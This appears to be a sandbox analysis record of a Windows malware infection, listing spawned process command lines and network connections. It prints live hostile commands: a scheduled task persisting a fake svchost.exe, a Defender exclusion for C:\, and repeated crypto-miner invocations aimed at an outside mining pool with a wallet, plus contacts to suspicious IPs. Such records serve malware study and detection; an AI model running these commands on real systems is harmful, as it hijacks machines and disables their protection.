"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fffbd03cc40,0x7fffbd03cc4c,0x7fffbd03cc58

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7fffbcc246f8,0x7fffbcc24708,0x7fffbcc24718

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1976 -parentBuildID 20240401114208 -prefsHandle 1896 -prefMapHandle 1888 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b296bbf8-ab1a-443b-8e86-9f2fe2d57f86} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" gpu

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1920,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=1916 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2164,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2172 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2244,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2256 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2288 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2164 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2440 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd3b494b-a619-4970-ba55-d3a2270d588d} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" socket

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2788 -childID 1 -isForBrowser -prefsHandle 2884 -prefMapHandle 3084 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {088f5bb6-765d-4b77-b4ee-6b30a125ab94} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4804 /prefetch:1

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3636 -childID 2 -isForBrowser -prefsHandle 3628 -prefMapHandle 2768 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {adc199a4-49d4-40e3-b166-12e66cbf8ba5} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4156 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4204 -prefMapHandle 4192 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c799cfa5-2535-439f-a4f1-57a9378432bc} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" utility

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3092,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3120 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3100,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3156 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5316 -childID 3 -isForBrowser -prefsHandle 5388 -prefMapHandle 4940 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {62d6f68e-b159-4f69-a822-e636a371a34e} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5592 -childID 4 -isForBrowser -prefsHandle 5512 -prefMapHandle 5516 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {23484be0-a28f-4ff8-9824-1a61277fd408} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5792 -childID 5 -isForBrowser -prefsHandle 5712 -prefMapHandle 5720 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1dfbb158-a5d9-4864-ae0f-bb28eb49914e} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab

C:\Users\Admin\1000029002\83eb245d83.exe

"C:\Users\Admin\1000029002\83eb245d83.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5904 -ip 5904

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5904 -s 1388

C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe

"C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

"C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

clamer.exe -priverdD

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

"C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\pureee.exe

"C:\Users\Admin\AppData\Local\Temp\pureee.exe"

C:\Users\Admin\AppData\Local\Temp\adada.exe

"C:\Users\Admin\AppData\Local\Temp\adada.exe"

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe

"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe

"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\ProgramData\cffit\jpxj.exe

C:\ProgramData\cffit\jpxj.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\System32\msiexec.exe

"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DirectX11\em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding DD986CF79E408F7E7000DF9C70344EC5

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 42CCC81B74BEE6987969AF7C705CAC8E E Global\MSI0000

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\SysWOW64\cmd.exe" /C "cd "C:\Program Files (x86)\COMODO\Endpoint Manager\" && "C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe" "

C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4644,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=4344 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe" noui

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --start

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --run_procedure --in Global\sharedInputMemory_1 --out Global\sharedOutputMemory_2 --err Global\sharedErrorMemory_3

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --run_procedure --in Global\sharedInputMemory_4 --out Global\sharedOutputMemory_5 --err Global\sharedErrorMemory_6

Network

Country Destination Domain Proto
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
RU 185.215.113.19:80 185.215.113.19 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 19.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 www.youtube.com udp
FR 142.250.75.238:443 www.youtube.com tcp
US 8.8.8.8:53 consent.youtube.com udp
FR 172.217.18.206:443 consent.youtube.com tcp
US 8.8.8.8:53 238.75.250.142.in-addr.arpa udp
FR 142.250.75.238:443 www.youtube.com tcp
US 8.8.8.8:53 www.youtube.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
FR 172.217.20.206:443 www.youtube.com tcp
FR 172.217.20.206:443 www.youtube.com tcp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 34.117.188.166:443 spocs.getpocket.com udp
US 34.117.188.166:443 spocs.getpocket.com udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 206.18.217.172.in-addr.arpa udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
FR 172.217.18.206:443 consent.youtube.com tcp
FR 172.217.20.206:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 consent.youtube.com udp
US 8.8.8.8:53 firefox-api-proxy.cdn.mozilla.net udp
US 8.8.8.8:53 consent.youtube.com udp
FR 172.217.18.206:443 consent.youtube.com tcp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net udp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net tcp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
FR 172.217.18.206:443 consent.youtube.com udp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 67.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 206.20.217.172.in-addr.arpa udp
US 8.8.8.8:53 122.28.160.35.in-addr.arpa udp
US 8.8.8.8:53 234.75.250.142.in-addr.arpa udp
US 8.8.8.8:53 227.74.250.142.in-addr.arpa udp
US 8.8.8.8:53 67.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
FR 172.217.20.196:443 www.google.com tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
FR 172.217.20.196:443 www.google.com udp
US 8.8.8.8:53 196.20.217.172.in-addr.arpa udp
FR 172.217.20.196:443 www.google.com tcp
FR 172.217.20.196:443 www.google.com tcp
N/A 127.0.0.1:57083 tcp
N/A 224.0.0.251:5353 udp
RU 85.28.47.31:80 85.28.47.31 tcp
US 8.8.8.8:53 31.47.28.85.in-addr.arpa udp
RU 185.215.113.16:80 185.215.113.16 tcp
N/A 127.0.0.1:57111 tcp
NL 91.92.240.111:80 91.92.240.111 tcp
US 8.8.8.8:53 111.240.92.91.in-addr.arpa udp
NL 91.92.240.111:1334 91.92.240.111 tcp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.13.31:443 api.ip.sb tcp
US 8.8.8.8:53 31.13.26.104.in-addr.arpa udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 ciscobinary.openh264.org udp
US 8.8.8.8:53 redirector.gvt1.com udp
GB 88.221.134.155:80 ciscobinary.openh264.org tcp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
FR 172.217.20.174:443 redirector.gvt1.com tcp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 redirector.gvt1.com udp
FR 172.217.20.174:443 redirector.gvt1.com udp
US 8.8.8.8:53 r1---sn-aigzrnsr.gvt1.com udp
